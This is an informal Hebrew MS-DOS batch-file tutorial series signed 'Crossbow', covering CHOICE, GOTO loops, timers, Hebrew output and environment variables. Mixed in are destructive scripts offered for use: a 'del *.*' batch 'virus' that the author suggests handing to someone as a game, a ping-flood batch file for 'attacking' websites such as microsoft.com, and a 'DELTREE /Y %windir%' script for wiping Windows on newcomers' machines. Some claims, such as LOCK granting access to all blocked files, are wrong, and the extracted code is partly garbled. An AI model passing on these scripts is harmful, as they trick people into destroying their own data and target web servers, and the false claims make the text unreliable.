‫אוקי‪ .‬הבנתם פחות או יותר את הפקודות‪ .‬פתחו את ה‪ .Notepad -‬אם אתם לא‬
‫יודעים מה זה‪ ,‬אז זה פנקס הרשימות שבא עם וינדואוז‪ .‬כנסו לתפריט "התחל"‪,‬‬
‫לחצו על "הפעלה"‪ ,‬כתבו שם את המילה‪ Notepad :‬ולא לשכול ללחוץ "אנטר"‪.‬‬
‫עכשיו‪ ,‬תרשמו ככה (קונטרול ושיפט)‪:‬‬

‫‪ECHO@ Fuck‬‬

‫יופי‪ .‬עכשיו תלחצו למעלה על תפריט "קובץ"‪ ,‬ואז על "שמירה בשם"‪ .‬תשמרו את‬
‫זה בכונן ‪ ,C‬בשם ‪ Try.bat‬ואז תסגרו את הכתבן‪ .‬פתחו את הקובץ שיצרנו דרך‬
‫הוינדואוז‪ C:/Try.bat :‬ואז תראו מה כתוב‪ .‬יופי! אדיר! מגניב! עכשיו עשינו‬
‫את הצעד הראשון בתכנות של דוסים!!! זאת אומרת‪ ,‬של ‪ !Ms-Dos‬אחלה! עכשיו‬
‫הגיע הקטע הכי שווה פה‪ :‬ליצור וירוסים!!! הסימן * (כוכבית) מסמן כל דבר‬
‫בתור סטרינג (מחרוזת)‪ .‬לא משנה‪ .‬העיקר הוא שעם אנחנו רושמים *‪ *.‬אז אנחנו‬
‫אומרים למחשב לזהות כל קובץ בעל כל סיומת (כל קובץ מחורבן על המחשב!)‪ .‬אז‬
‫פשוט אפשר לעשות ככה‪ :‬לכתוב *‪ ,del *.‬ואז לשמור בתור קובץ אצווה‪ ,‬ממש כמו‬
‫שעשינו מקודם‪ .‬אבל חשוב מאוד‪ :‬אל תריצו את הקובץ!!! אל תפתחו אותו!!! אם‬
‫הבנתם את הפקודה נכון‪ ,‬אז תדעו שהפקודה אומרת למחשב למחוק כל קובץ שקיים‬
‫על המחשב!!! אז אפשר לתת את הקובץ למישהו‪ ,‬ולומר לו שזה משחק‪ .‬זה הוירוס‬
‫הכי פשוט שאפשר לעשות‪ ...‬בקטע של וירוסים אפשר להיות מקוריים מאוד‪ .‬אני‬
‫בקטע של להעביר מסרים וכאלה‪ ,‬כמו זה (קונטרול ושיפט)‪:‬‬

‫‪@ECHO OFF‬‬
‫‪@ECHO Microsoft Stinks‬‬
‫*‪del *.‬‬

‫הבנתם?! נסו להיות כאלה בהתחלה‪ .‬אם אתם ממש כישרון בציור במחשב וכאלה‪,‬‬
‫נסו להעביר מסר יותר בוטה‪ ,‬כמו זה (עוד פעם קונטרול ושיפט)‪:‬‬

‫‪@ECHO OFF‬‬
‫‪@ECHO‬‬ ‫\\‬ ‫\\\\\\\\\\\\ \\\\\\\\\ \\‬
‫‪@ECHO‬‬ ‫\\\\\\\\\\\\ \\\\\\\\\ \\ \\ \\‬
‫‪@ECHO‬‬ ‫\\ \\‬ ‫\\ \\‬ ‫\\‬
‫‪@ECHO‬‬ ‫\\‬ ‫\\‬ ‫\\ \\‬ ‫\\‬
‫‪@ECHO‬‬ ‫\\‬ ‫\\‬ ‫\\ \\‬ ‫\\‬
‫‪@ECHO‬‬ ‫\\‬ ‫\\‬ ‫\\ \\‬ ‫\\‬
‫*‪del *.‬‬

‫נסו לראות מה כתוב שם‪ .‬כתוב "חרא"‪ .‬אל תשכחו להוסיף את ‪.@ECHO‬‬
‫אוקי‪ .‬עכשיו להפלת שרת אינטרנט‪ .‬אתם צריכים‪:‬‬
‫‪ )1‬מחשב‬
‫‪ )2‬מקלדת‬
‫‪ )3‬ידיים להפעיל את המקלדת‬
‫‪Ms-Dos )4‬‬
‫אם יש לכם הכל אז בסדר‪ ,‬אם לא אז או שאין לכם מחשב או שאין לכם ידיים‪.‬‬
‫טוב‪ ,‬עכשיו‪ ,‬זוכרים את הפקודה ‪ ?Ping‬יופי‪ .‬אם נגיד אתם רוצים להפיל את‬
‫כתובת האיי‪.‬פי ‪ ,127.0.0.0‬אז תכתבו ככה‪:‬‬

‫‪ping 127.0.0.0 /l 10000‬‬

‫אבל לא פעם אחת‪ ,‬אלא מיליון פעם! אחד מתחת לשני! ככה‪:‬‬

‫‪510‬‬
‫‪ping 127.0.0.0 /l 10000‬‬
‫‪ping 127.0.0.0 /l 10000‬‬
‫‪ping 127.0.0.0 /l 10000‬‬
‫‪ping 127.0.0.0 /l 10000‬‬

‫אבל יותר פעמים‪ ...‬זה יוצר עומס יתר‪ ...‬טוב‪ ,‬להשיג כתובת איי‪.‬פי אני לא‬
‫חושב שתהיה לכם בעייה‪ .‬רגע ‪ -‬רגע ‪ -‬רגע! אבל מה אם אתם לא יודעים מה זה‬
‫איי‪.‬פי? טוב‪ ,‬נו‪ ,‬הסבר קצר‪ :‬לכל מחשב יש כתובת איי‪.‬פי‪ .‬איי‪.‬פי זה קיצור‬
‫של אינטרנט פרוטוקול (אני חושב‪ ...‬יש לי בעייה עם ראשי תיבות‪ .)...‬אז‬
‫נגיד שאנחנו רוצים להפיל אתר‪ .‬ניקח סתם אתר‪ ...‬נגיד מייקרוסופט‪ ...‬סתם‬
‫באופן אקראי בחרתי (כן בטח‪ )...‬את האתר הזה‪ .‬תפתחו חלון ‪ Ms-Dos‬ותרשמו‬
‫‪ Tracert microsoft.com‬ואז תנו אנטר‪ .‬כמובן שאתם צריכים להיות מחוברים‬
‫לאינטרנט‪ ...‬מה שעשינו פה זה בעצם לראות דרך איזה מחשבים עברנו כדי להגיע‬
‫לאתר של מייקרוסופט‪ .‬תסתכלו על הכתובת האחרונה ברשימה‪ .‬באותה שורה צריך‬
‫להיות מספר‪ .‬זה מספר האיי‪.‬פי של האתר‪ .‬עכשיו‪ ,‬תפתחו את הכתבן‪ ,‬תשתמשו במה‬
‫שלמדנו קודם (‪ ,)ping‬ואז תשמרו בתור קובץ אצווה‪ .‬הריצו את קובץ האצווה‬
‫שיצרנו‪ ,‬ואיזה פלא! אנחנו מתקיפים את האתר!!! נסו בהתחלה דברים קצת יותר‬
‫קטנים כמו אתרים פרטיים וכאלה‪ ...‬טוב‪ ,‬אז זה המדריך ל‪ .Ms-Dos -‬מקווה‬
‫שבכלל הבנתם משהו‪.‬‬

‫מקווה שלא סיבכתי אתכם יותר מדי‪...‬‬

‫‪Crossbow‬‬

‫‪ BATCH‬המשך‬

‫‪511‬‬
‫היום נעבוד על הפוקנציות הכי שוות שיש באם אס דוס‪...‬‬
‫בעזרת פונקציות כאלה תוכלו ליצור תוכנה משלכם (!) באם אס דוס!!! חחחחח‪...‬‬
‫טוב‪ ,‬בואו נתחיל‪ .‬אני מניח שחלק מכם מכירים חלק מהפונקציות‪ ,‬אבל שיהיה‪...‬‬

‫‪LOCK‬‬

‫גורמת לפתיחה של כל התיקיות והקבצים החסומים‪ ,‬גישה חופשית‪ ,‬מאוד שימושי!‬

‫‪CHOICE‬‬

‫באם אס דוס‪ ,‬בניגוד למערכות הפעלה אחרות‪ ,‬כשהמערכת מבקשת קלט מהמשתמש‪,‬‬
‫הקלט בדרך כלל ישקול ביט אחד (יעני אות אחת ועוד אנטר‪ .)...‬והאמת היא שזה‬
‫די חבל‪ ,‬כי זה נותן הגבלות די גדולות‪ .‬לא נורא‪ .‬ברירת המחדל של הפונקצייה‬
‫הזאת היא כן או לא‪ ,‬יעני האם אתה מסכים או לא‪ .‬זאת בדיוק הפונקצייה שעולה‬
‫כשמנסים למחוק את כל הקבצים מהמחשב בלחיצה אחת‪ ,‬יעני ‪ *.* del‬המערכת תשאל‬
‫האם אתה רוצה למחוק את הכל‪ ...‬אפשר לכתוב אחרי הפונקצייה את מה שרוצים‪.‬‬
‫לדוגמא‪ :‬אם אנחנו רוצים לשאול את המשתמש "האם ברצונך לפרוץ לטייגרס"?‪ ,‬אז‬
‫נכתוב ככה‪:‬‬
‫‪?CHOICE Do you want to hack Tigers co‬‬
‫אבל אם נריץ את זה באם אס דוס זה ייראה בערך ככה‪:‬‬
‫‪]Do you want to hack Tigers co? [Y,N‬‬
‫טוב? עכשיו נעבוד על פונקצייה קשה מאוד שקשורה לפונקציית בחירה‪ .‬אנחנו‬
‫רוצים לעשות שאם המשתמש בחר "כן" אז יקרה ככה וככה‪ ,‬ואם הוא בחר "לא" אז‬
‫יקרה ככה וככה‪ ...‬ואיך אנחנו עושים את זה? תמשיכו לקרוא‪...‬‬

‫‪IF ERRORLEVEL GOTO‬‬

‫טוב‪ ,‬מי שלא מכיר פונקציית תנאי‪ ,‬שיכיר‪ .‬זה מורכב בעיקר משני חלקים‪:‬‬
‫התנאי שאם ייקרה‪ ,‬והתוצאה‪ ,‬יעני מה שיקרה‪ .‬מי שיודע ויזואל בייסיק או סי‬
‫פלוס פלוס ברמה של מתחילים ומעלה יודע מה זה פונקציית תנאי‪ .‬עכשיו‪ ,‬מה זה‬
‫פונקציית מעבר? פונקציית מעבר (גו טו) מעבירה את התוכנה למקום אחר בקוד‬
‫המקור ההתחלתי‪ .‬נשמע מסובך? לא נורא‪ ...‬נגיד שאני כותב לו ‪...GOTO HELL‬‬
‫התוכנה מחפשת מקום שכתוב בו נקודותיים ואז את המילה ‪...HELL‬‬
‫זה בערך ככה לחצו על קונטרול ושיפט השמאליים כדי להבין מה הולך פה‪:‬‬
‫‪HELL:‬‬
‫@‪ECHO Fuck‬‬
‫‪GOTO HELL‬‬
‫אם הבנתם טוב טוב‪ ,‬התוכנה כותבת מילה כלשהי (פונקציית אקו‪ ,‬מי שלא יודע‬
‫לעזאזל מה זה שייקרא בטקסט על תכנות קבצי אצווה ומיד!!!)‪ ,‬ואז חוזרת‬
‫להתחלה‪ ,‬כי ההתחלה נקראת "האלל" וכתוב לתוכנית ללכת ל‪" -‬האלל"‪ .‬אני מקווה‬
‫מאוד שאתם לא מריצים את זה עכשיו‪ ,‬כי זאת (בערך) לולאה אינסופית‪ ...‬אם‬
‫התוכנית בהרצה ואתם עדיין יכולים לקרוא מה שכתוב פה‪ ,‬הייתי מציע לכם מאוד‬
‫מאוד מאוד לכבות את המחשב‪ ...‬ולהדליק מחדש כדי להמשיך לקרוא‪ ...‬טוב‪ ,‬בואו‬
‫נראה‪ ,‬יש עוד משהו שלא הסברתי‪ ...‬כן! פונקציית ארורלבל!!! הפונקצייה הזאת‬
‫מתייחסת לאופצייה שבה בחר המשתמש‪ .‬אם המשתמש בחר באופצייה הראשונה‪ ,‬אז זה‬
‫נקרא ארורלבל ‪ ,1‬אם באופצייה השנייה אז זה נקרא ארורלבל ‪ 2‬וכן הלאה‪ .‬אז‪,‬‬
‫מה זה עוזר לנו? הממממ‪ ...‬איזה פונקצייה אנחנו מכירים שמשתמשת באופצייות?‬
‫פונקציית בחירה כמובן!!! אז‪ ,‬אם המשתמש בחר באופצייה הראשונה (כן)‪ ,‬אז‬
‫יקרה ככה וככה‪ ,‬ואם בשנייה (לא) אז ככה וככה‪ ...‬עכשיו‪ ,‬בניתי פה קוד מקור‬
‫של תוכנה מסכנה‪ ,‬שתבינו יותר טוב‪ .‬לחצו על קונטרול ושיפט השמאליים לקרוא‪:‬‬

‫‪ECHO OFF‬‬
‫‪?CHOICE Do you want to exit‬‬
‫‪IF ERRORLELEL 1 GOTO ERR1‬‬

‫‪512‬‬
‫‪IF ERRORLEVEL 2 GOTO ERR2‬‬
‫‪ERR1:‬‬
‫‪CLS‬‬
‫‪!ECHO You little asshole! Don't activate this program again‬‬
‫‪PAUSE>NUL‬‬
‫‪GOTO END‬‬
‫‪ERR2:‬‬
‫‪CLS‬‬
‫‪...ECHO You will quit anyway because I'm in a bad mood‬‬
‫‪PAUSE>NUL‬‬
‫‪END:‬‬
‫‪CLS‬‬
‫‪!ECHO See ya next time, Jackass‬‬
‫‪.ECHO Made by Crossbow from the Tigers co‬‬
‫‪ECHO Log in to http://www.tigers.exe.co.il‬‬
‫‪PAUSE>NUL‬‬
‫‪EXIT‬‬

‫‪CHOICE OPTIONS‬‬

‫פחחחחחחח‪ ...‬דרך אגב‪ ,‬אתם יודעים שאפשר לשנות את פונקציית הבחירה? אפשר‬
‫להשתמש בדברים אחרים במקום ברירת המחדל‪ ...‬אפשר לכתוב ככה‪:‬‬
‫‪CHOICE /C:abcdefghijklmnopqrstuvwxyz‬‬
‫טוב‪ ,‬קצת הסברים‪:‬‬

‫‪CHOICE‬‬

‫זאת פונקציית הבחירה‪ ...‬אני מקווה מאוד שאני לא צריך להסביר שוב‪...‬‬

‫‪:C/‬‬

‫זאת התת פקודה שאומרת למערכת שאני לא רוצה להשתמש בברירת מחדל‪...‬‬

‫‪abcdefghijklmnopqrstuvwxyz‬‬

‫אלה כל האופציות‪ ...‬כל אופצייה באה בתור תו אחד‪ ...‬זה ייראה ככה‪:‬‬

‫[‪]A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z‬‬

‫טוב? והארורלבל לא משתנה‪ 1 ...‬זה הראשון ‪ 2‬זה השני ‪ 3‬זה השלישי‪...‬‬

‫‪EXIT‬‬

‫מי שלא מבין זאת פקודה שיוצאת‪ ...‬אפשר גם לכתוב ‪ win‬אבל אני מעדיף אקסיט‪.‬‬

‫טוב‪ ,‬אני חושב שזה מספיק‪ ,‬אני חייב לנוח קצת‪ ...‬אז תתכנתו‪ ,‬כי זה עושה את‬
‫האצבעות שלכם בידיים ממש ממש ממש ממש ממש ממש חזקות!!! שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪513‬‬
‫‪ BATCH‬בעיברית‬
‫טוב‪ ,‬עכשיו נרגעתי‪ .‬טוב‪ ,‬אז‪ ,‬איך כותבים בעברית באם אס דוס? האמת היא‬
‫שכאשר אתם באם אס דוס‪ ,‬המקלדת מכוונת תמיד על אנגלית‪ ,‬ובגלל זה אי אפשר‬
‫לכתוב בעברית‪ .‬אז‪ ,‬אני לא מדבר פה על עברית בחלון אם אס דוס‪ ,‬אלא בתוך‬
‫קבצי אצווה‪ .‬עכשיו‪ ,‬תאמינו או לא‪ ,‬גיליתי את זה כשניסיתי לפצח את הטבלת‬
‫שיאים המטומטמת של המשחק המפגר "בונוס"‪ ...‬כן‪ ,‬כן‪ ,‬כן! פתחתי את הקובץ‬
‫שבו נמצאת הטבלה‪ ,‬וכמובן‪ ,‬מצאתי משהו מוזר לאללה‪ :‬במקום אותיות בעברית‪,‬‬
‫מצאתי כתב סתרים מטומטם!!! אז חשבתי קצת‪ ,‬ובסוף גיליתי משהו‪ :‬בונוס הוא‬
‫בנוי על אם אס דוס‪ ...‬ואם אס דוס לא קורא עברית כרגיל‪ :‬אם אס דוס הוא הרי‬
‫באנגלית‪ .‬אז לקחתי את הטקסט של הטבלה‪ ,‬ובניתי קובץ אצווה שיראה על המסך‬
‫את הכתב סתרים הזה‪ .‬ולתדהמתי‪ ,‬גיליתי שבאם אס דוס רואים שמות בעברית!!!‬
‫אז זה הולך ככה‪ :‬אם אס דוס מתרגם קי אסקיי מסויים לאותיות עבריות‪ .‬אז הנה‬
‫כל האותיות בעברית‪ ,‬מסודרות בטבלה על ידי עבדכם הנאמן‪ ...‬תלחצו על שיפט‬
‫וקונטרול השמאליים‪ ,‬כדי לראות את זה‪ .‬האותיות מדורות לפי סדר כרונולוגי‪:‬‬

‫‪ƒ"…†‡ˆ‰‹Œ Ž''"--˜™šŠ"o‚€‬‬

‫טוב‪ ,‬האותיות למעלה כוללות גם אותיות סופיות‪ ,‬גם לפי סדר אלפביתי‪ .‬טוב‪,‬‬
‫עכשיו‪ ,‬אני רוצה להסביר לכם איך לעזאזל עשיתי את זה‪ ,‬כי אני לא רוצה לתת‬
‫לכם מידע סתם ככה באינפוזייה‪ ,‬בלי שתבינו‪ .‬אז בואו נראה‪ :‬הבנתי שכשפותחים‬
‫את האותיות העבריות בנוטפאד‪ ,‬תוכנה בוינדואוז‪ ,‬הנוטפאד פותח את האותיות‬
‫באופן לא מתורגם לקי אסקיי‪ .‬אז עשיתי ככה‪:‬‬

‫‪ )1‬יצרתי בוינדואוז תיקייה ששמה הוא "אבגדהוזחטיכלמנסעפצקרשתךםןףץ"‪.‬‬


‫‪ )2‬נכנסתי לאם אס דוס לסיפרייה שבה התיקייה שיצרתי נמצאת‪ ,‬ושם כתבתי‬
‫‪Dir>>Crossbow.txt‬‬
‫יעני‪ ,‬תכתוב בקובץ טקסט חדש את התוכן של הסיפרייה‪.‬‬
‫‪ )3‬סגרתי את אם אס דוס ופתחתי את הטקסט‪ ,‬ושם היו כתובות כל האותיות באופן‬
‫לא מתורגם‪.‬‬

‫טוב‪ ,‬אז תהנו עם העברית‪ ,‬למרות שגארדיאן אנג'ל מעדיף אנגלית‪ .‬חחחחחחחח‪...‬‬
‫סתאאאאאאאאם בצחוק‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪514‬‬
‫‪ BATCH‬עם ‪TIMER‬‬
‫טוב‪ ,‬זה היה קצת מסובך לגלות‪ ,‬אבל אחרי שמגלים משהו קטן‪ ,‬הכל קל מאוד‪.‬‬
‫איזה טמבל הייתי‪ ,‬איזה אידיוט! התשובה הייתה שם כל הזמן‪ ...‬כל מה שהייתי‬
‫צריך זאת תאונה קטנה כדי לגרום להרצה להתרחש‪ .‬כל כך קטן‪ ,‬כל כך פשוט‪ ,‬כל‬
‫כך קומפקטי‪ ,‬עד שזה פשוט גומר לי את השכל איך לא עשו את זה קודם‪ ...‬אז‬
‫הנה הקוד של הטיימר‪ ,‬ובסופו יש כמובן הסברים‪ .‬לחצו כמובן על קונטרול וגם‬
‫על שיפט כדי לראות נכון את הקוד‪:‬‬

‫‪ECHO OFF‬‬
‫‪CLS‬‬
‫‪Tmr:‬‬
‫‪TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL‬‬
‫‪!!!ECHO It works‬‬
‫‪GOTO Tmr‬‬

‫הסברים‬

‫‪ :ECHO OFF‬הופך את כל הטקסט של המשתמש והקובץ לבלתי נראה‪.‬‬


‫‪ :CLS‬מנקה את המסך‪.‬‬
‫‪ :Tmr‬זה בעצם סימון של שורה‪ ,‬שאליה נחזור אחר כך‪.‬‬
‫‪ :TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL‬זה העיקוב‪ .‬הסבר עליו אחר כך‪.‬‬
‫‪ :ECHO It works‬זה הקוד של הטיימר‪ .‬כמובן שאפשר לרשום הרבה שורות‪.‬‬
‫‪ :GOTO Tmr‬פה אנחנו חוזרים לשורה שסומנה מקודם‪ ,‬השורה השלישית‪.‬‬

‫כל מה שיבוא בין העיקוב לבין המילים ‪ GOTO Tmr‬בעצם יהיה הקוד הפנימי של‬
‫הטיימר‪ .‬עכשיו נעבוד על התדירות של הטיימר‪ ,‬האינטרוואל‪.‬‬

‫קצת על העיקוב הזה‬

‫טוב‪ ,‬רואים בקוד את השורה הארוכה הזאת? מה היא אומרת? טוב‪ ,‬היא משתמשת‬
‫בקובץ של מערכת אם אס דוס שנקרא ‪ ,CHOICE.COM‬שבעצם אחראי על בחירה פנימית‬
‫של המשתמש וכאלה‪ .‬לדוגמא‪ ,‬נסו לכתוב בחלון אם אס דוס את המילה ‪ Choice‬ואז‬
‫ללחוץ על אנטר‪ ,‬ותראו מה ייקרה‪ .‬טוב‪ ,‬מה שהולך פה הוא בעצם עיקוב מערכת‪,‬‬
‫נקרא באנגלית ‪ ,Delay‬יעני‪ ,‬המערכת מחכה לתגובה מהמשתמש‪ .‬פה יש אפשרות של‬
‫לחכות למשתמש בזמן מסויים‪ ,‬יעני‪ ,‬המערכת לא מגיבה במשך כמה שניות‪ .‬טוב‪,‬‬
‫הנה ההסברים שאתם צריכים לדעת על העיקוב‪:‬‬

‫‪ :TYPE‬בעצם בודק תוכן טקסט של קובץ חיצוני מהמערכת פנימה לזיכרון‪.‬‬


‫‪ :NUL‬זאת בעצם מקבלת את כל האינפורמצייה ומאבדת אותה‪.‬‬
‫‪ :CHOICE.COM‬ציון הקובץ שבו אנחנו משתמשים‪.‬‬

‫תיכנות התדירות‪:Intervaling ,‬‬

‫טוב‪ ,‬אינטרוול זה פעם בכמה זמן הטיימר יעבוד שוב‪ .‬אז זה הולך ככה‪ .‬זוכרים‬
‫את העיקוב שעשינו? רואים איפשהו בשורה הזאת את המספר אחד? עכשיו‪ ,‬זה אומר‬
‫שפעם בכל שניה הטיימר יחזור על עצמו‪ .‬עכשיו‪ ,‬אם נשים את המספר ‪ ,2‬זאת‬
‫אומרת שהטיימר יעבוד פעם בשתי שניות‪ .‬התיכנות הזה עובד בדיוק כמו טיימר‬
‫ברוב שפות התיכנות הידועות‪ .‬קחו לדוגמא את ויזואל בייסיק‪ :‬כמה שהאינטרוול‬
‫יותר גדול‪ ,‬ככה הטיימר יותר איטי‪ ,‬חוץ ממקרה מיוחד‪ ,‬שהאינטרוול הוא אפס‪,‬‬
‫ואז כל הטיימר בכלל לא עובד‪ .‬טוב‪ ,‬גם פה בקובץ האצווה‪ ,‬כמה שהאינטרוול‬
‫גדול יותר‪ ,‬ככה הטיימר איטי יותר‪ ,‬וכאשר האינטרוול הוא אפס‪ ,‬הטיימר לא‬
‫יעבוד‪.‬‬

‫‪515‬‬
‫יאללה‪ ,‬מגיעה לכם מתנה לפעמים‪...‬‬

‫בניתי לכם תוכנה מהירה וטובה בפסקל‪ ,‬שפשוט רושמת את זמן המערכת העכשווי‪,‬‬
‫שלי לשאול שאלות‪ .‬אז‪ ,‬הנה הנחיות ליצירת שעון משלכם בקובץ אצווה‪:‬‬

‫‪ )1‬קחו את הקובץ ‪.TimeNow.exe‬‬


‫‪ )2‬שימו אותו בתיקיית ‪ ,C:\Windows‬יעני התיקייה המזוהה‪.‬‬
‫‪ )3‬תיכתבו את הקוד שכתבתי מתחת בתוך קובץ אצווה‪.‬‬
‫‪ )4‬תשמרו ותריצו‪.‬‬
‫‪ )5‬לכל מי שרוצה יש גם את הקוד מקור של התוכנה בפסקל‪...‬‬

‫הקוד שצריך לכתוב בקובץ האצווה‬

‫טוב‪ ,‬תלחצו קונטרול ושיפט‪:‬‬

‫‪ECHO OFF‬‬
‫‪CLS‬‬
‫‪Tmr:‬‬
‫‪TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL‬‬
‫‪CLS‬‬
‫‪CALL TimeNow‬‬
‫‪GOTO Tmr‬‬

‫הקוד מקור של השעון‪ ,‬גם ככה זה סתם דבר שבניתי בחצי דקה‪...‬‬

‫טוב‪ ,‬תלחצו קונטרול ושיפט‪:‬‬

‫‪}PROGRAM TimeNow; {Made by Crossbow‬‬


‫‪}USES Dos; {Wer'e using Dos.tpu‬‬
‫‪}VAR {Variables‬‬
‫‪}CurS, CurM, CurH, CurMs:word; {Second, Minute, Hour, Milisecond‬‬
‫‪}BEGIN {Program's body‬‬
‫‪}CurMs := 0; {Miliseconds are ziro‬‬
‫‪}GetTime(CurS, CurM, CurH, CurMs); {Getting the system's time‬‬
‫‪}WriteLn (CurS, ':', CurM, ':', CurH); {Writing variables‬‬
‫‪}!END. {That's it folks‬‬

‫טוב‪ ,‬אז יאללה‪ ,‬תהנו אחים שלי‪,‬‬

‫‪Crossbow‬‬

‫‪516‬‬
‫משתנים מתקדמים ב ‪BATCH‬‬
‫היום אנחנו הולכים לנגוע קצת במשתנים מתקדמים בתוך מערכת אם אס דוס‪.‬‬
‫אנחנו נלמד על תחביר חדש‪ ,‬ומאפיינים מתקדמים בתוך קבצי אצווה‪.‬‬

‫הבנה של משתנים מיוחדים‬

‫הרעיון עצמו פשוט מאוד‪ :‬ישנם כמה משתנים שמאותחלים באופן תמידי בתוך‬
‫הקובץ ‪ ,Autoexec.bat‬כאשר המערכת מאותחלת‪ .‬המשתנים האלה מאפשרים למערכת‬
‫‪ Ms - Dos‬ולמערכת ‪ Windows‬לתקשר עם ברירות מחדל מסויימות‪ .‬כנסו לאם אס‬
‫דוס‪ ,‬כתבו ‪ set‬ולחצו אנטר‪ .‬הפלט יהיה כל המשתנים המיוחדים פלוס הערכים‬
‫שלהם‪ .‬עכשיו אני אתן כאן הסבר לכמה משתנים מיוחדים‪:‬‬

‫‪TMP‬‬

‫תיקיית הקבצים הזמניים‪ .Temporary ,‬בדרך כלל (כתלות במיקום שבו התקינו את‬
‫מערכת ‪ )Windows‬הערך שלו הוא ‪ .C:\Windows\Temp‬משתנה ‪ TMP‬משומש בעיקר‬
‫בתוך ‪ ,Windows‬אבל במערכת ‪ Ms - Dos‬המקורית אין לו שימוש‪ .‬משתנה ‪TMP‬‬
‫מיוצג לעיתים גם בשם ‪ ,TEMP‬יכול להיות שיהיו לכם את שניהם‪ ,‬יכול להיות רק‬
‫אחד מהם‪.‬‬

‫‪PROMPT‬‬

‫מצב הפרומפט‪ .‬הפרומפט הוא מה שכתוב לפני שורת הפקודה‪ .‬אפשר לשנות את‬
‫הפרומפט על ידי שימוש פשוט בפקודה ‪ .Prompt‬אני ממליץ להשתמש בפרמטר העזרה‬
‫שהוט סלאש ואחריו סימן שאלה‪ .‬ברירת המחדל של ‪ PROMPT‬הוא‪ .p$g$ :‬עכשיו‪,‬‬
‫‪ p$‬פירושו המיקום ‪ Path‬הנוכחי‪ g$ .‬פירושו סוגר משולש כזה‪ .< :‬לגבי ‪$p‬‬
‫השימוש ברור אבל לגבי ‪ g$‬אני אתן הסבר‪ :‬הסימן < בתוך אם אס דוס הוא גם‬
‫סימן של פלט לתוך קובץ‪ .‬לדוגמא‪ ,‬נסו לרשום ‪ dir > fuck.txt‬ותראו מה קורה‪.‬‬
‫פרומפט משומש בתוך ‪ ,Ms - Dos‬ואין לו קשר למערכות ‪ .Windows‬בקיצר‪ ,‬פרומפט‬
‫מתאים לשורת פקודה בלבד‪.‬‬

‫‪winbootdir‬‬

‫מיקום תיקיית ‪ .Windows‬בדרך כלל הערך של המשתנה הזה יהיה ‪.C:\Windows‬‬


‫משמש למערכת ‪ Windows‬כמובן‪ .‬כמו במשתנה ‪ ,TMP‬גם לו יש מקביל שנקרא‬
‫‪ .windir‬שוב‪ ,‬לא נורא אם אין לכם את שניהם‪.‬‬

‫‪PATH‬‬

‫משמש לשתי המערכות‪ ,‬גם ‪ Windows‬וגם ‪ .Ms - Dos‬הרעיון של ‪ Path‬הוא הפעלה‬


‫מכל מיקום‪ ,‬תיקיות ברירת מחדל‪ .‬לדוגמא‪ ,‬נסו להכנס למערכת ‪ Ms - Dos‬ולכתוב‬
‫בה ‪ Calc‬וללחוץ אנטר‪ .‬הרעיון הוא שלפני שהמערכת בודקת אם יש קובץ הרצה‬
‫בשם ‪ Calc‬במיקום הנוכחי‪ ,‬היא בודקת את תיקיות ברירת המחדל שהן בדרך כלל‬
‫התיקייה שבה מותקן ‪ ,Windows‬והתיקייה שבה מותקן ‪ .Ms - Dos‬אותו עקרון‬
‫במערכת ‪ :Windows‬נסו ללחוץ על "התחל"‪" ,‬הפעלה"‪ ,‬לרשום את המילה ‪calc‬‬
‫וללחוץ אנטר‪ ,‬ואז לראות מה קורה‪.‬‬

‫‪COMSPEC‬‬

‫משמש את מערכת ‪ .Ms - Dos‬משתנה זה חשוב מאוד‪ ,‬כי הוא מייצג את הקשר בין‬
‫הגרעין לשורת הפקודה‪ .‬הערך שלו יהיה תמיד איפה שהגרעין נמצא‪ ,‬בדרך כלל‬

‫‪517‬‬
‫זה יהיה ‪.C:\Windows\Command\Command.com‬‬

‫‪BLASTER‬‬

‫כתובת הסאונד בלסטר שלכם בתוך הזיכרון‪ .‬מאפשר השמעת צלילים תחת ‪Windows‬‬
‫או ‪ ,Ms - Dos‬בעיקר תחת ‪ .Ms - Dos‬אני מציע לכם לא לשנות את משתנה‬
‫‪ BLASTER‬שלכם‪ ,‬אלא אם כן אתם מוכנים לוותר על השמעת צלילים שלא יוצאים‬
‫מתוך ‪.Internal Speaker‬‬

‫עבודה ראשונה עם משתנים מיוחדים‬

‫טוב‪ ,‬הרעיון עצמו מאוד פשוט‪ .‬כל משתנה ייכתב בין שני סימני אחוזים‪.% :‬‬
‫אפשר לשלב את המשתנים המיוחדים בכל תחביר של כל פקודה‪ .‬בואו נבנה קובץ‬
‫אצווה‪ ,‬שיציג לנו את התיקייה שבה מותקן ‪ ,Windows‬ואחרי זה דופק לנו איזה‬
‫משפט נחמד גם‪ .‬הנה קוד המקור‪:‬‬

‫‪ECHO OFF‬‬
‫‪CLS‬‬
‫‪.ECHO Checking for Windows folder in your system‬‬
‫‪.%ECHO Shit!!! Windows exists: %windir‬‬
‫‪?ECHO Please delete this folder: %windir%, Ok‬‬

‫הסברים‬

‫טוב‪ ,‬שורה ראשונה מעלימה את פקודות קובץ האצווה מעיניו של המשתמש‪ .‬שורה‬
‫שנייה מנקה את המסך‪ .‬שורה שלישית מציגה פלט סטנדרטי‪ ,‬בלי שום דברים‬
‫מיוחדים‪ .‬שורה רביעית דופקת לנו פה פלט שמשולב עם המשתנה ‪ .%windir%‬גם‬
‫בשורה חמישית יש לנו פלט משולב עם משתנה‪ .‬אפשר ליצור דברים קצת יותר‬
‫דינאמיים גם‪ ,‬למשל‪ ,‬בקובץ האצווה הקודם הייתי נחמד וביקשתי מהמשתמש להעיף‬
‫את מערכת ‪ ,Windows‬אבל הייתי יכול להיות קצת יותר מניאק ולעשות את העבודה‬
‫הזאת בעצמי‪ ,‬ככה‪:‬‬

‫‪ECHO OFF‬‬
‫‪CLS‬‬
‫‪...ECHO I don't need you to delete Windows‬‬
‫‪!!!ECHO I can do it myself‬‬
‫‪%DELTREE /Y %windir‬‬
‫‪!!!ECHO Yeah‬‬

‫מילים לסיום‬

‫אין לי הרבה מה להגיד כאן‪ .‬הטקסט הזה היה בסך הכל למתחילים ולכאלה‬
‫שמתעניינים בשיטות להתעלל בניובאייז ובאיך לעזאזל בנויה מערכת שורת פקודה‬
‫כמו ‪ .Ms - Dos‬אני בכל זאת מקווה שנהנתם‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫‪518‬‬
